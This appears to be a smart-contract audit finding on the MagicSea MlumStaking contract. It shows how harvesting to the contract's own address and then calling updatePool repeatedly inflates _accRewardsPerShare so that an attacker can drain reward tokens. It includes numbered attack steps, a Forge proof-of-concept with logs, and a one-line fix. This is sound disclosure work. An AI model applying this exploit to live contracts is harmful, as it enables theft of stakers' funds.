Curved Mango Turkey

High

# The attacker can drain all rewards of MlumStaking contract

## Summary

## Vulnerability Detail
The attacker can make the variable `_accRewardsPerShare` as much as he wants. The enough big _accRewardsPerShare will make pending rewards enough big which can exceed the total balance of rewards token in MlumStaking contract (the line [678](https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MlumStaking.sol#L678))

the _accRewardsPerShare is updated via `updatePool()`, whenever rewardBalance > lastRewardBalance
This case can be made by calling _harvestPosition() with `_to = address(this)`.

```solidity
    function _safeRewardTransfer(address _to, uint256 _amount) internal {
        uint256 rewardBalance = rewardToken.balanceOf(address(this));
        if (_amount > rewardBalance) {
743:       _lastRewardBalance = _lastRewardBalance - rewardBalance; 
744:       rewardToken.safeTransfer(_to, rewardBalance);
        } else {
746:      _lastRewardBalance = _lastRewardBalance - _amount;
747:      rewardToken.safeTransfer(_to, _amount);
        }
    }
```

With the line `743, 746` ,_lastRewardBalance is being decreased, but with line 744,747, rewardBalance is not changed.
So enough multiple calling _harvestPostion() with _to = address(this) and updatePool() will make _accRewardsPerShare enough big.

### Attack steps
1. Attacker gets two accounts to stake position
2. with first account, attacker calls harvestPositionTo(positionId, address(this)) and updatePool() multiple times. then _accRewardsPerShare will be increased.
3. with second account, attacker calls harvestPositionTo(positionId, receiver address).

### POC
```solidity
    function testManipulateAccRewardsPerShare() public {
        _rewardToken.mint(address(_pool), 100_000_000);
        _stakingToken.mint(ALICE, 2 ether);
        _stakingToken.mint(BOB, 2 ether);

        vm.startPrank(ALICE);
        _stakingToken.approve(address(_pool), 1 ether);
        _pool.createPosition(1 ether, 30 days);
        vm.stopPrank();

        vm.startPrank(BOB);
        _stakingToken.approve(address(_pool), 1 ether);
        _pool.createPosition(10 ** 10, 30 days);
        vm.stopPrank();

        assertEq(ERC721(address(_pool)).ownerOf(1), ALICE);

        skip(3600);

        vm.startPrank(ALICE);
        uint256 accReward = _pool.getAccReardsPerShare();
        console2.log("getAccReardsPerShare before manipulation: %s", accReward);
        for (uint i = 0; i < 100; i++) {
            _pool.harvestPositionTo(1, address(_pool));
            _pool.updatePool();
        }

        accReward = _pool.getAccReardsPerShare();
        console2.log("getAccReardsPerShare after manipulation: %s", accReward);
        vm.stopPrank();
    }
```
Logs:
  getAccReardsPerShare before manipulation:    85888516705316
  getAccReardsPerShare after manipulation:   8674735763978350

## Impact
The attacker can drain all amount of reward token in contract.

## Code Snippet
https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MlumStaking.sol#L678
https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MlumStaking.sol#L574-L591
https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MlumStaking.sol#L674-L686
https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MlumStaking.sol#L739-L749

## Tool used

Manual Review, Forge test

## Recommendation
add the following line in `_harvestPostion()` function.

`require(_to != address(this), "");`
